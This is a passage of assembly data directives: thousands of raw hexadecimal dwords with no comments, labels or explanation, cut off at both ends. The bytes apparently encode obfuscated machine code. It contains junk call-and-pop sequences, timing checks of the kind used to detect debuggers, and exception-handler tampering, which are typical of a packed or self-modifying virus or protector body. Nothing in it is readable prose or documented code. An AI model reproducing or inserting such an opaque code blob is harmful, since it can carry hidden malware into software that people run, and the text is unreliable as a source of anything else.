44810424h, 180424h, 53430000h dd 4173E1C3h, 9EB3384Ch, 163DBD83h, 0F0005E9h, 47184h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h dd 0C3514100h, 29D37AC0h, 0E915D99Dh, 3DBD8305h, 105E916h dd 45B840Fh, 0BD8B0000h, 5E90D01h, 163DBD83h, 0F0305E9h dd 41286h, 71F38000h, 0F9F38160h, 2B08BE86h, 0E923C9BDh dd 0D98C6605h, 2DA5BD8Bh, 0E18005E9h, 0D7816604h, 0C90A5D00h dd 13B840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1D0424h, 50400000h, 676495C3h, 8D3CDA0Eh, 80C46E3Ch dd 9D034AE3h, 5E92905h, 2869858Bh, 6A05E9h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 170424h, 52420000h, 9C6CD1C3h dd 97BF66FAh, 6185331Dh, 6A05E90Eh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 8B7FC351h dd 0B59D89DFh, 8905E90Ch, 0E9267D9Dh, 0BF665005h, 4897BE1h dd 10E924h, 0D7000000h, 0C1F64651h, 563C150Ah, 0BE70992Dh dd 6AC611h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 18h, 41C35040h, 0CB95C06Fh, 0A0E38166h, 0CE68F877h dd 57AC08DFh, 2404815Bh, 54162431h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 12C35646h, 28ED9589h, 95FF05E9h dd 5E9292Dh, 0CE8589F9h, 0F505ECBAh, 236E9h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 498F2C32h, 0DDB15E3h, 89F88B66h, 0E931FD8Dh, 0C6858B05h dd 8B05ECBAh, 0E928EDBDh, 1800C705h, 8B000000h, 0CAB58BF8h dd 6A05ECBAh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1D042444h, 43000000h, 8FE4C353h, 0EBC6CF1h, 858DA7E1h dd 0EE9h, 0FA77D600h, 0B7E3E36Fh, 0EA73F4C9h, 8BF5E469h dd 0E92F3985h, 0C5C38105h, 8964314Ch, 50006A06h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 58CAAC9Eh, 0AFBB67AEh, 8B57FC2Fh, 0E9286985h, 4468905h dd 28B99D8Bh, 0E99605E9h, 0Dh, 0AB744A3Eh, 0F025605Ch dd 0E162EF1Ch, 8E95073h, 0C8000000h, 0CF1CD0EAh, 9697E1DEh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 55C35747h dd 0BD8BDF83h, 5E90E79h, 0BAC6B5FFh, 6A05ECh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 6FD073C3h dd 4F8F8299h, 0AE8FCDDh, 5B000000h, 8682862Ch, 5C8CAC88h dd 5F2EB373h, 4E881B3h, 0FF000000h, 0BB001F03h, 174ED561h dd 0AD15BB50h, 448B3B7Eh, 0DF8B0424h, 12E8008Bh, 91000000h dd 96447F5h, 83381h, 83AAEABAh, 1836D5CAh, 44895B33h, 0B8600424h dd 18C4F386h, 15890Fh, 0FE80000h, 0DF000000h, 5D02926h dd 4217614h, 1404A194h, 615975D7h, 51006A58h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 66F4C86Dh dd 0BF66FB8Bh, 858DE0B0h, 5ECBACEh, 2CF9BD89h, 505005E9h dd 0FD98B52h, 5ADE8B31h, 24048958h, 1941BD8Bh, 95FF05E9h dd 5E9292Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Dh, 44C35141h, 0AE6159F7h, 0AAEF74EEh, 13E916h, 11550000h dd 8669AC13h, 0FAA690E5h, 0A569CD28h, 0F26EC261h, 519531F3h dd 0F05E926h, 28Dh, 61D2B700h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Dh, 0D9C35545h, 0F07F8777h, 0C9CD08D6h dd 3D85C702h, 305E916h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 53E9C351h dd 4069EE1Dh, 0BACEBD83h, 0F0005ECh, 4684h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1704h, 0C3534300h, 2D8068E6h, 16F9B589h dd 0CE805E9h, 0C1000000h, 0DA160879h, 0D590CAF4h, 66A47804h dd 5F0565BFh, 21E9h, 1BD8900h, 5005E906h, 110C30h, 0C1011144h dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h, 305036EBh dd 64001104h, 0E8C10111h, 11443010h, 11640002h, 0E9835803h dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h dd 4300111h, 4E98311h, 0EBE775h, 9D89C08Bh, 5E90D29h, 1F95BD8Bh dd 9E805E9h, 62000000h, 0EEE0D658h, 0F757016h, 835BEAB7h dd 0E9163DBDh, 850F0305h, 37Dh, 1269BD03h, 0BD8305E9h dd 5ECBACEh, 6A840F00h, 6A000003h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0C003C355h dd 1421A6D9h, 0E04731F2h, 9189BB66h, 0BACEB5FFh, 0BF0F05ECh dd 7595FFFAh, 8005E92Bh, 0BD23BBF3h, 5E90AA9h, 0BAC2B58Bh dd 8B6605ECh, 106C7D8h, 81000100h, 75C58FD3h, 0BF669628h dd 60503593h, 9661FA8Ah, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 2FC35040h, 95297AA8h, 5E92805h, 0BACEB5FFh dd 0BD8B05ECh, 5E91EEDh, 2B4D95FFh, 8BF805E9h, 0ECBAC2B5h dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h dd 0C3504000h, 9D5369F3h, 6FF92FBFh, 42F8BB66h, 0FDD858Bh dd 6A05E9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h dd 53430000h, 0F496DCC3h, 6078CF66h, 0E599D0Bh, 8B6605E9h dd 868961D3h, 0C4h, 0C880Fh, 7E90000h, 5F000000h, 0DA336B00h dd 958B30EFh, 5E92655h, 6880Fh, 9D8B0000h, 5E92AFDh, 0FDE78166h dd 4C28353h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 15h, 78C35747h, 20508905h, 6860Fh, 0EB810000h, 63AFD8E3h dd 0D055858Dh, 8D8905ECh, 5E91C8Dh, 6AD9D8Bh, 868905E9h dd 0B8h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ah, 51C35040h, 580C3217h, 81665AD0h, 6A53C9E3h, 3880F00h dd 0F000000h, 0B5FFD8BFh, 5ECBACEh, 21E9BD8Bh, 95FF05E9h dd 5E900ADh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 16h, 29C35646h, 5096C074h, 8B96FB8Bh, 0E9264D9Dh, 0CEB5FF05h dd 6605ECBAh, 0E959AFBFh, 12h, 0F3E886E2h, 0DBF7666Ch dd 63EED7A7h, 77ABCD62h, 95FF1D39h, 5E93231h, 858B6060h dd 5E92B15h, 611AD580h, 0DA1CE281h, 836166B5h, 0E92AB1BDh dd 840F0005h, 5Bh, 2FC9B501h, 609605E9h, 61605250h, 14E8310Fh dd 0AD000000h, 36CAEA5Ah, 3F91B27h, 0E96AE032h, 0C25D8436h dd 59C03512h, 1EB7585Ah, 0BB665061h, 6A96B460h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 0BB03C351h, 33E1A2D7h, 819D8B68h, 0FF05E92Ah, 0ECBACEB5h dd 53006A05h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 4830F65h, 66000000h, 66F082BFh, 95FFDE8Bh dd 5E92F61h, 31858D89h, 0B5FF05E9h, 5ECBACEh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0B9C35040h, 0E9440C9Eh dd 11h, 87AE380Fh, 7C95337Ch, 1363D5B9h, 0EA76FF86h, 0C595FF7Eh dd 0E905E92Dh, 0Bh, 5559132Ch, 60565972h, 83656E5Fh, 0E903FDBDh dd 840F0205h, 15h, 27999589h, 858B05E9h, 5E93055h, 0C6FABF0Fh dd 8B660000h, 0A985C7DFh, 5E927h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 3B59C352h, 108712B4h, 0EE8h, 9E8BC100h, 83B2B66Eh, 0CEE89B92h dd 0FCBDB643h, 0F3E7E95Bh, 8166FFFFh, 8B3EF6E7h, 799D8BC1h dd 8A05E926h, 0E5858DDCh, 6A05E921h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 0D83EC355h dd 58A0A8F5h, 0E993DD04h, 11h, 0CCAFB5E1h, 2B7B8EF8h, 45CA1387h dd 472C0AAEh, 820F90B5h, 4, 280BB66h, 0F98B6650h, 0EE890h dd 78DC0000h, 5FA7D3CCh, 71BDD6AFh, 0F688E060h, 0E9BD8956h dd 5B05E907h, 6A006A5Fh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 0F302C351h, 66600E0Eh dd 0BB66F28Bh, 961B735h, 0E923AD8Dh, 89006A05h, 0E90F3995h dd 0E1858D05h, 6A05EDF4h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1D042444h, 41000000h, 6992C351h, 3DF62A3Ch dd 9B33DA9Fh, 5C083F8h, 0B158D09h, 8B9005E9h, 850F50DAh dd 0 dd 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h dd 0C3554500h, 0CC89073Fh, 0C3819E92h, 997EA68h, 8711BB66h dd 6AD88Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 16h, 9DC35747h, 8D89A4F0h, 5E90589h, 6A86B7h, 95FFD88Bh dd 5E90AA1h, 2DA9BD2Bh, 8D8D05E9h, 5ECADBFh, 9E96BB66h dd 0D79BD8Bh, 0D1FF05E9h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 2DC35040h, 9B1523FEh, 0FD1D925h, 884h dd 85315100h, 5E921BDh, 43CF815Fh, 835615A5h, 0E901BDBDh dd 850F0105h, 72h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 18h, 96C35242h, 9FA527F0h, 26AD88Bh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 42C35747h, 26BF6283h dd 5071D1A0h, 6E96056h, 43000000h, 33474AC3h, 61D38B76h dd 2404895Fh, 0FFF88B66h, 0E900AD95h, 8E905h, 95590000h dd 756D6B1Ah, 9CE9E25Ah, 0E800000Dh, 0 dd 0EBED815Dh, 8905EDF4h, 0E900918Dh, 53006A05h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 0AE58CAACh, 16DAE867h, 4B858D44h, 6A05EC90h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 0E872C356h, 11h, 0E37FF0DEh, 737F00B3h, 0C778BD07h dd 4758A9BFh, 8D8D0191h, 5F05E91Eh, 0A38BBF90h, 8B502758h dd 6A90FAh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 0FA4BD5C3h, 0E8A2421Bh, 0Ch, 77F34C7h, 426A6B49h dd 0CBAF4A1Bh, 55BD8960h, 8005E911h, 5F6127D4h, 35FF64h dd 0E9000000h, 0Ah, 20F6D7BFh, 0D46B2314h, 0BE8F971h, 0C000000h dd 0B08FBDDCh, 0B3CD8BFh, 8166EC7Ah, 5F736BD3h, 258964h dd 1000000h, 0E908359Dh, 8985FF05h, 8905E906h, 0E90DC19Dh dd 6A35B305h, 57006AFFh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1604h, 0C3574700h, 1D028A7h, 0E92B9D9Dh, 0EDB5FF05h dd 6A05E930h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 4CBCC356h, 2C6CBF25h, 0DF813356h dd 29E975ACh, 7C995FFh, 35E905E9h, 9000001h, 0E932F5B5h dd 8B00B005h, 0E930F5BDh, 8170E605h, 0C6165FCFh, 0BF71E440h dd 25E72D89h, 11E9h, 75FB9A00h, 3D7B2818h, 562198B2h, 0BA04DF38h dd 613C2566h, 0FA830Fh, 0BD8B0000h, 5E92E5Dh, 0FC8B60Fh dd 681h, 29852900h, 0BA05E92Dh, 6, 1F359D8Bh, 0C18B05E9h dd 49BBD98Bh, 0C1390DD5h, 8D0904E8h, 5E9123Dh, 8BE2F766h dd 0E92F65BDh, 66C82B05h, 0D18BDE8Bh, 0C870Fh, 840F0000h dd 6, 7019D89h, 0A1E905E9h, 29000000h, 0E9173D9Dh, 50858B05h dd 8B47554Ch, 0E91E9DBDh, 55853105h, 8305E925h, 5F5707C0h dd 31359D8Bh, 0C08305E9h, 0E3816600h, 0D03BA7CFh, 14830Fh dd 0B5290000h, 5E92825h, 0E9D88B66h, 60h, 80D8D89h, 8D8B05E9h dd 0FFFFFFFFh, 11E9h, 0DA648200h, 480086CAh, 6D3610FEh dd 83364E52h, 0E18364F6h, 35840F01h, 81000000h, 264C2FEFh dd 0FFA58306h, 0FEFFFFFFh, 0B299D23h, 958905E9h, 47554C50h dd 0DE8h, 2B7B8E00h, 45CA1387h, 472C0AAEh, 0BF6635B5h dd 0E95B8FA9h, 0 dd 760AB58Dh, 6A05EDh, 3E850h, 58200000h, 448958C3h, 44810424h dd 140424h, 50400000h, 860FB3C3h, 6, 2B9D9589h, 6A05E9h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0EBC35242h dd 0EC75106h, 0BD9D237Ah, 0FF05E907h, 0E91E9595h, 57006A05h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 46EE5015h, 0E8E804C5h, 12h, 8C5C7778h, 0CE23C96Ch, 46997B04h dd 0E838F98Eh, 9D8B0445h, 5E91DADh, 7185895Fh, 0B905E91Fh dd 0FA9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 0D9C35141h, 75086E98h, 8B664797h, 83DF8BDEh, 9D8BFCE1h dd 5E91629h, 0CE8h, 3E0C9800h, 0C0CA44C6h, 14FE6426h, 0CE8D1h dd 6C5A0000h, 552D1A5Fh, 0A7F371EEh, 7E83B3Fh, 25000000h dd 3A380BEAh, 5F5FB704h, 6AFC5Fh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 150424h, 55450000h, 0B8459BC3h, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 4CC35141h dd 0FB41BBA4h, 0D22B0E4Ch, 2755B589h, 33AD05E9h, 3E8D1C2h dd 4E983D0h, 6AF475h, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 732F19C3h, 89600837h, 0E90031BDh dd 0E8816605h, 6661D6F8h, 8AB3C781h, 0F880F52h, 0E9000000h dd 0Ah, 14428D92h, 0E4ED9185h, 0D5BF8E9h, 88h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0EAC35545h, 0BD8B8264h dd 5E90E59h, 8BFEBF0Fh, 0E9265595h, 55006A05h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 0E528C2A3h dd 8D8B1502h, 5E90805h, 5608F8BBh, 0C28B5068h, 0C103188Bh dd 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1B042444h, 40000000h, 633C350h dd 0D8DB3AE9h, 0D3811268h, 6148EDCh, 9E9h, 0CE757900h dd 0A9862546h, 81668101h, 83987EEFh, 0E91CF1BDh, 840F0005h dd 83h, 58F0Fh, 0AEBF0000h, 0B85FBD30h, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 5DC35242h dd 0E8205619h, 6, 76B120B9h, 8D5FFA44h, 0E94E6D8Dh, 50006A05h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 0C266D1D5h, 0CCF7C10Dh, 6E8h, 4EF2E00h, 0F3F80CAh, 681h dd 0B9858900h, 5B05E92Fh, 8166E1FFh, 83D81EE7h, 0E9163DBDh dd 840F0005h, 3A0h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 0D0C35343h, 2C792D36h, 58B0Fh, 6BBF0000h dd 8B1B6FB1h, 0E910EDBDh, 3DBD8305h, 105E916h, 37D840Fh dd 81660000h, 83081ECFh, 0E9163DBDh, 860F0305h, 335h, 3511BF66h dd 51006A60h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h dd 0C3514100h, 0F88B39C0h, 8BD98C66h, 0E91F11BDh, 4E18005h dd 0C90ADE8Ah, 123840Fh, 81660000h, 8BC596CBh, 0E9286985h dd 0DF816605h, 8533AA09h, 5E90E61h, 409BD0Bh, 669005E9h dd 8A50D88Bh, 6A90FDh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 160424h, 56460000h, 9C7087C3h, 26799589h, 9D8B05E9h dd 5E92375h, 0BF66006Ah, 12E99B1Dh, 9B000000h, 0D6FF261Dh dd 1F6F264Dh, 0E727028Fh, 866EEEC8h, 4E8ECh, 3FF0000h dd 57BF001Fh, 50440D5Fh, 728C52BFh, 24448B2Dh, 0AE804h dd 27260000h, 36162C4Bh, 2057A75Bh, 0DE8A5250h, 5F51310Fh dd 8B5B585Ah, 0BA666000h, 0E9563C4Ah, 9, 0A633F7CEh, 416DBFEBh dd 89615886h, 8B042444h, 816658F8h, 0FFE8DDEBh, 0E9292D95h dd 9E905h, 7F660000h, 11C49959h, 8993AEECh, 0ECBACE85h dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h dd 0C3504000h, 0EA7B9F24h, 18EE9h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 81F065D1h dd 96B12FEFh, 0C6858B19h, 8B05ECBAh, 0E90CD9BDh, 50BB6605h dd 1800C730h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 0F2CC356h, 0B58BF8BFh dd 5ECBACAh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 19h, 8AC35646h, 8194247Ch, 5DBD8B10h, 8B05E930h, 0E92F3985h dd 7D9D8B05h, 8105E907h, 0BD313DE7h, 6A068924h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 0ED02C351h, 432C4657h, 44D0624Ch, 8B9CB7F5h, 0E9286985h dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 89D88B1Bh, 0A9BF0446h, 9609CE77h, 1A3830BBh dd 0D88B5015h, 53006A96h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1504h, 0C3534300h, 870F2E1Ch, 6, 0EE1BD33h dd 8D8905E9h, 5E91061h, 0BAC6B5FFh, 0BF6605ECh, 3D68AB79h dd 6688189Fh, 481FE8Bh, 664C224h, 7DBD8978h, 8D05E923h dd 0ECBACE85h, 0D5BD0B05h, 0E905E904h, 0Ah, 8D525289h dd 0BF5DFB82h, 66900FEFh, 0E950DE8Bh, 0Bh, 0A788B74Ch dd 58E6E93Ah, 90C566DAh, 1FAD9D8Bh, 8D8905E9h, 5E92B89h dd 292D95FFh, 816605E9h, 618A0BF7h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 14h, 37C35747h, 0C7E4CF80h, 0E9163D85h dd 305h, 17BF6600h, 0CEBD836Bh, 5ECBAh, 33840Fh, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 0B589EBC3h, 5E92F99h, 9745DF81h, 21E90A5Eh, 31000000h dd 0E901F58Dh, 0C305005h, 11440011h, 10E8C101h, 2114430h dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 3899D8Bh, 6A05E9h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0BD83BAC3h dd 5E9163Dh, 0EF850F03h, 81000003h, 0D3A2F5CBh, 0DFBF0F51h dd 0BACEBD83h, 0F0005ECh, 3D984h, 8E900h, 0BE270000h, 212EAB9Eh dd 0B5FF038Ch, 5ECBACEh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Dh, 63C35343h, 24F2E71h, 0D9098C67h, 7595FFEDh dd 5705E92Bh, 2B298589h, 895F05E9h, 0E901D595h, 0C2B58B05h dd 8B05ECBAh, 0E93175BDh, 106C705h, 33000100h, 0E9191D9Dh dd 0FB8B5005h, 6A243489h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 405AC352h, 0A327CEC4h dd 574D4182h, 78B7C9BBh, 0CEB5FF51h, 6A05ECBAh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 0DA17C353h, 4D95FFF5h, 6A05E92Bh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 458EC353h dd 0C5B652Ah, 0E8914F93h, 14h, 0DF698791h, 912E5BCFh, 3A4B9540h dd 0CA37D555h, 0C2241F1h, 0BD8B5BF5h, 5E92D71h, 0BAC2B58Bh dd 6A05ECh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h dd 56460000h, 96026CC3h, 0DD858B82h, 6A05E90Fh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 1967C351h, 97B09758h, 0BFD3A4D8h, 0C48689h, 0CE80000h dd 7F000000h, 0EF4E9D30h, 0DFC05924h, 0F8C06DCh, 8B5BFEBFh dd 0E9265595h, 6890F05h, 81000000h, 9D33E5C3h, 4C28344h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 73C35040h dd 3996ABA6h, 9D8B472Eh, 5E92B65h, 6A205089h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 5E99C351h, 0D055858Dh, 6A05ECh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 150424h, 55450000h, 5748F6C3h, 765BD8Bh dd 895B05E9h, 0B886h, 8BDF8B00h, 0E917B19Dh, 89006A05h dd 0E911558Dh, 5BF6605h, 0CEB5FF21h, 6A05ECBAh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 8910C357h, 0E928DD9Dh, 0AD95FF05h, 6A05E900h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 0A8DAC350h, 8BBE38FFh, 0F88B96DFh, 13E850h, 3C0A0000h dd 0DBB90A5Dh, 0E010CD1h, 392F7F4Ch, 8288F25h, 0BB965B7Fh dd 2853D79Dh, 0BACEB5FFh, 37B705ECh, 323195FFh, 0BE805E9h dd 4D000000h, 0BC8FA46h, 3CAB9466h, 8589596Ch, 5E92B19h dd 83DC8A5Fh, 0E92AB1BDh, 840F0005h, 6Ch, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 19h, 67C35242h, 3015966Fh dd 0D41ABBD3h, 895751C6h, 0E910D18Dh, 50965F05h, 0F310F52h dd 68Ah, 0F525000h, 5A585A31h, 0B7505058h, 6A965F5Eh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h dd 56FAC356h, 0E029D683h, 0F9067BFBh, 0BACEB5FFh, 0BB6605ECh dd 95FFA941h, 5E92F61h, 120EBB66h, 0BACEB5FFh, 0FA8B05ECh dd 2DC595FFh, 8B6605E9h, 0FDBD83FBh, 205E903h, 76840Fh dd 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 0AD6ED7C3h, 0BB7B7E93h dd 40CF81AFh, 8B14D097h, 0E9305585h, 53006A05h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 837B66E8h dd 909B1A65h, 1DBB41DCh, 0C6509B81h, 0EE80000h, 4F000000h dd 0B9DB2197h, 95D9612Ah, 20DA1A9Ah, 0D9D8B08h, 5F05E90Bh dd 27A985C7h, 5E9h, 0B7510000h, 7CE95F8Dh, 81FFFFF3h, 7D48EF7h dd 0FC18B39h, 680h, 0B5BD8900h, 8D05E92Dh, 0E921E585h dd 68C0F05h, 8B000000h, 0E916DD9Dh, 66605005h, 0D08BCB8Bh dd 24048961h, 6AFEBF0Fh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1604h, 0C3534300h, 89D5F0D4h, 0E92B899Dh dd 0BB006A05h, 5CD00080h, 499858Dh, 9E905EEh, 38000000h dd 0DE6FBFDDh, 7AE4E801h, 8B05C083h, 0E9101D9Dh, 52505005h dd 11E8310Fh, 0CF000000h, 0BAC9956Eh, 0A3DD5469h, 0AD353130h dd 0A7A9168h, 8D0Fh, 5A5B0000h, 24048958h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 36C35747h, 79C8D8BBh dd 7E8D6F1h, 0E9000000h, 0BC149BDEh, 9D8B4616h, 5E92951h dd 6AF55Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ch, 10C35242h, 69219576h, 5E57F521h, 6A006Ah, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 0A11173C3h, 0F0AF7DFh, 158Eh, 10E900h, 3E940000h, 0E968151Eh dd 55D29C04h, 18A68EBDh, 95FFF083h, 5E90AA1h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 33C35646h, 0D6B5BE2Ch dd 89588B3Bh, 0BF8D8D4Fh, 8905ECADh, 0E92E7D8Dh, 6AD1FF05h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 0D384C356h, 0E18D891Fh, 8305E92Ah, 0E901BDBDh dd 850F0105h, 82h, 7E8h, 0A2E4D000h, 7AAA2B60h, 2D299D33h dd 6A5F05E9h, 50006A02h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1D04h, 0C3504000h, 0E53E9D20h, 60B142D8h, 0B70F5E20h dd 525090DAh, 0FB1848BBh, 0F310F59h, 28Eh, 5AFC8A00h, 0BB665058h dd 66909DF9h, 95FFF98Bh, 5E900ADh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 0F2C35747h, 0FC50B333h, 60E9DE8Bh dd 0E800000Eh, 0 dd 0A3ED815Dh, 3305EE04h, 0E90E05BDh, 0B5B58905h, 6A05E906h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 12F6C355h, 9D898EC1h, 5E921BDh, 858DDA8Ah dd 5EC904Bh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ch, 0A1C35141h, 38AC54B2h, 9882D825h, 26FD8589h, 0E89005E9h dd 7, 0F8F4296h, 50CF83C5h, 0F525052h, 0F585A31h, 5F585A31h dd 12E96050h, 7000000h, 0C88C9817h, 0BF65169Dh, 947C5A27h dd 3899E579h, 0F18B6008h, 14E8h, 2A3A9E00h, 8B46BCE4h dd 9C57D05h, 0A461AFC0h, 0A184FA0Ah, 61615AD4h, 51006A90h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 8A31DF0Bh, 9D317034h, 5E900D5h, 35FF64h, 89000000h dd 0E91E858Dh, 4D9D8B05h, 6405E900h, 2589h, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 0D89AE3C3h, 298BCA91h, 68985FFh, 8F0F05E9h, 6, 307DBD23h dd 0FF6A05E9h, 5E9h, 0D0CD9900h, 0B70FA979h, 0E9B5FFD8h dd 0E805E91Eh, 6, 76575DE3h, 8D29B092h, 5E90E59h, 0C995FF5Fh dd 0E905E907h, 0E5h, 6800Fh, 9D8B0000h, 5E9090Dh, 0ADD9589h dd 0B005E9h, 68B770E6h, 816071E4h, 67E285D2h, 613C617Bh dd 0BB830Fh, 85290000h, 5E92F81h, 80C8B60Fh, 6BA03CBh dd 0F000000h, 0C18BD9BFh, 1D69BD8Bh, 0E8C105E9h, 6D852904h dd 6605E904h, 8B60E2F7h, 0CA48BBC6h, 2B616FF8h, 0D1BD8BC8h dd 8B05E92Dh, 0CE8D1h, 98140000h, 5C291AE3h, 3077DCFEh dd 3352E585h, 0E924CDBDh, 0E95B5B05h, 61h, 22EDB501h, 858B05E9h dd 44004E49h, 83DBBF0Fh, 83F907C0h, 8D2900C0h, 5E90B59h dd 830FD03Bh, 0Ah, 36E9FA8Bh, 66000000h, 8D8BD98Bh, 0FFFFFFFFh dd 0F01E183h, 2484h, 259D8B00h, 8305E92Bh, 0FFFFFFA5h dd 0F781FEFFh, 52961376h, 4E499589h, 9D8B4400h, 5E93269h dd 0E9h, 0B3B58D00h, 6A05ED85h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 0CF2FC356h, 0E1DB69ABh dd 800Fh, 56600000h, 895B6160h, 0E9043595h, 0F3806105h dd 6A006A80h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 0FF53C356h, 